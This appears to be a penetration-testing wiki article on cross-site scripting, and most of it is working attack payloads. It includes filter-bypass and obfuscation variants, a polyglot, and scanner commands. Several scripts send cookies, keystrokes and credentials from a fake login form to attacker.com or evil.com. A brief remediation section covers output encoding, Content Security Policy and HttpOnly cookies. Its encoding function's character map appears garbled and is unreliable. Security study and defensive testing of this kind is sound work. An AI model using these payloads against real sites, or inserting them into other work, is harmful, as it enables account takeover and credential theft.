
Cross-Site Scripting (XSS): Attack and Defense
Complete guide to XSS vulnerabilities including reflected, stored, and DOM-based attacks with detection techniques, exploitation payloads, and remediation strategies.
Introduction
Cross-Site Scripting (XSS) is a client-side code injection attack where malicious scripts are injected into trusted websites. When victims visit the compromised page, their browsers execute the attacker's script in the context of the vulnerable domain, enabling session hijacking, credential theft, defacement, and malware distribution.
XSS remains prevalent because web applications frequently reflect user input without proper encoding, and the attack surface has expanded with modern JavaScript frameworks and complex DOM manipulation.
Types of XSS
Reflected XSS
The malicious script is part of the request and reflected in the response. Requires victim interaction (clicking a malicious link).
<!-- Vulnerable endpoint: /search?q=USER_INPUT -->
<!-- URL: /search?q=<script>alert('XSS')</script> -->
<!-- Response includes: -->
<p>Search results for: <script>alert('XSS')</script></p>Stored XSS
The malicious script is permanently stored on the target server (database, comments, profiles) and served to all users who view the affected page.
<!-- Attacker submits comment: -->
<script>fetch('https://evil.com/steal?cookie='+document.cookie)</script>
<!-- All users viewing comments execute the script -->DOM-Based XSS
The vulnerability exists in client-side JavaScript that processes user input unsafely, never touching the server.
// Vulnerable code
document.getElementById('output').innerHTML = location.hash.substring(1);
// URL: page.html#<img src=x onerror=alert('XSS')>XSS Contexts and Payloads
HTML Context
<!-- Basic payloads -->
<script>alert('XSS')</script>
<img src=x onerror=alert('XSS')>
<svg onload=alert('XSS')>
<body onload=alert('XSS')>
<iframe src="javascript:alert('XSS')">
<!-- Without parentheses -->
<img src=x onerror=alert`XSS`>
<svg onload=alert('XSS')>
<!-- Event handlers -->
<div onmouseover="alert('XSS')">Hover me</div>
<input onfocus=alert('XSS') autofocus>
<marquee onstart=alert('XSS')>Attribute Context
<!-- Breaking out of attributes -->
" onclick="alert('XSS')
" onfocus="alert('XSS')" autofocus="
'><script>alert('XSS')</script>
<!-- JavaScript URLs in href/src -->
<a href="javascript:alert('XSS')">Click</a>
<iframe src="javascript:alert('XSS')">
<!-- Data URLs -->
<a href="data:text/html,<script>alert('XSS')</script>">Click</a>JavaScript Context
// Breaking out of strings
'; alert('XSS');//
"; alert('XSS');//
</script><script>alert('XSS')</script>
// Template literals
${alert('XSS')}
`; alert('XSS');//
// Inside JSON
{"name":"value\u0022,\u0022inject\u0022:\u0022<script>alert(1)</script>"}URL Context
<!-- URL parameter injection -->
javascript:alert('XSS')
data:text/html,<script>alert('XSS')</script>
//evil.com/exploit.jsFilter Bypass Techniques
Case Variation
<ScRiPt>alert('XSS')</ScRiPt>
<IMG SRC=x OnErRoR=alert('XSS')>Encoding Bypasses
<!-- HTML entities -->
<img src=x onerror=alert('XSS')>
<!-- Hex encoding -->
<img src=x onerror=\x61\x6c\x65\x72\x74('XSS')>
<!-- Unicode -->
<img src=x onerror=\u0061\u006c\u0065\u0072\u0074('XSS')>
<!-- Base64 in data URLs -->
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgnWFNTJyk8L3NjcmlwdD4=">Click</a>Alternative Tags
<!-- Without script tag -->
<img src=x onerror=alert('XSS')>
<svg/onload=alert('XSS')>
<body/onload=alert('XSS')>
<video><source onerror=alert('XSS')>
<audio src=x onerror=alert('XSS')>
<input onfocus=alert('XSS') autofocus>
<details open ontoggle=alert('XSS')>
<marquee onstart=alert('XSS')>Obfuscation
<!-- Spaces and newlines -->
<img src=x
onerror
=alert('XSS')>
<!-- Tab characters -->
<img src=x onerror=alert('XSS')>
<!-- Comments -->
<script>/**/alert('XSS')/**/</script>
<!-- Constructor abuse -->
<img src=x onerror=alert.constructor('alert(1)')()>
<img src=x onerror=[].constructor.constructor('alert(1)')()>Bypassing Specific Filters
<!-- No parentheses -->
<img src=x onerror=alert`XSS`>
<img src=x onerror=window.onerror=alert;throw'XSS'>
<!-- No alert -->
<img src=x onerror=confirm('XSS')>
<img src=x onerror=prompt('XSS')>
<img src=x onerror=eval('al'+'ert(1)')>
<!-- No quotes -->
<img src=x onerror=alert(String.fromCharCode(88,83,83))>
<img src=x onerror=alert(/XSS/.source)>
<!-- No spaces -->
<svg/onload=alert('XSS')>
<img/src=x/onerror=alert('XSS')>Advanced Exploitation
Session Hijacking
// Cookie stealing
<script>
fetch('https://attacker.com/steal?c='+document.cookie);
</script>
// Using image
<img src=x onerror="this.src='https://attacker.com/steal?c='+document.cookie">Keylogging
<script>
document.onkeypress = function(e) {
fetch('https://attacker.com/log?key=' + e.key);
}
</script>Phishing
<script>
document.body.innerHTML = '<h1>Session Expired</h1><form action="https://attacker.com/phish"><input name="user" placeholder="Username"><input name="pass" type="password" placeholder="Password"><button>Login</button></form>';
</script>DOM Manipulation
// Change form action
<script>document.forms[0].action = 'https://attacker.com/capture';</script>
// Inject fake content
<script>
document.getElementById('balance').innerHTML = '$0.00';
document.getElementById('transfer').href = 'https://attacker.com/fake';
</script>Exploiting Modern Frameworks
// Angular template injection
{{constructor.constructor('alert(1)')()}}
// Vue.js
{{_c.constructor('alert(1)')()}}
// React dangerouslySetInnerHTML abuse (if user-controlled)DOM XSS Sources and Sinks
Dangerous Sources
// URL-based
location.href
location.hash
location.search
document.URL
document.documentURI
document.referrer
// Storage
localStorage.getItem()
sessionStorage.getItem()
// User input
document.getElementById('input').value
window.nameDangerous Sinks
// Direct execution
eval()
setTimeout()
setInterval()
Function()
// HTML manipulation
element.innerHTML
element.outerHTML
document.write()
document.writeln()
// URL sinks
location.href
location.assign()
location.replace()Detection Methodology
Manual Testing
- Identify input reflection points
- Test with basic payloads:
<script>alert(1)</script> - Analyze response encoding/filtering
- Adapt payloads to bypass filters
- Confirm execution in browser
Polyglot Payloads
Test multiple contexts simultaneously:
jaVasCript:/*-/*`/*\`/*'/*"/**/(/* */oNcLiCk=alert() )//%0D%0A%0d%0a//</stYle/</titLe/</teXtarEa/</scRipt/--!>\x3csVg/<sVg/oNloAd=alert()//>\x3eAutomated Tools
# XSStrike
python xsstrike.py -u "http://target.com/page?q=test"
# Dalfox
dalfox url "http://target.com/page?q=test"
# Using Burp Suite
# Intruder with XSS payloads wordlistImpact Assessment
| Scenario | Impact |
|---|---|
| Session hijacking | Account takeover |
| Credential theft | Data breach |
| Malware distribution | System compromise |
| Defacement | Reputation damage |
| Internal network scanning | Reconnaissance |
| Cryptomining | Resource abuse |
Remediation
Output Encoding
// Context-specific encoding
function htmlEncode(str) {
return str.replace(/[&<>"']/g, function(match) {
return {'&':'&','<':'<','>':'>','"':'"',"'":'''}[match];
});
}
// Use framework encoding
// React: automatically escapes in JSX
// Angular: uses DomSanitizer
// Vue: uses v-text or {{ }}Content Security Policy
Content-Security-Policy: default-src 'self'; script-src 'self'; style-src 'self' 'unsafe-inline'HttpOnly Cookies
Set-Cookie: session=abc123; HttpOnly; Secure; SameSite=StrictInput Validation
- Whitelist allowed characters
- Validate input length
- Use strict typing
References
MITRE ATT&CK Techniques
- T1189 - Drive-by Compromise - Watering hole attacks via XSS
- T1185 - Browser Session Hijacking - Session theft via XSS
- T1539 - Steal Web Session Cookie - Cookie exfiltration
- T1059.007 - Command and Scripting Interpreter: JavaScript - Malicious script execution
Common Weakness Enumeration
- CWE-79 - Improper Neutralization of Input During Web Page Generation - Primary XSS weakness
- CWE-80 - Improper Neutralization of Script-Related HTML Tags - Basic script injection
OWASP Resources
- OWASP XSS Prevention Cheat Sheet - Remediation guidance
- OWASP DOM-based XSS Prevention - DOM XSS specific
Tools Documentation
- XSS Hunter - Blind XSS discovery platform
- DOMPurify - XSS sanitization library
Related Articles
- SQL Injection - Server-side injection attacks
- CSRF - Often combined with XSS
- Authentication Bypass - XSS for credential theft
Last updated on
Verbose Error Messages
Overview of verbose error message vulnerabilities, their risks, and mitigations. This entry highlights how excessive error details can disclose sensitive information.
Windows Security
Windows privilege escalation techniques, group exploitation, system hardening, and vulnerability exploitation for penetration testing and red team operations.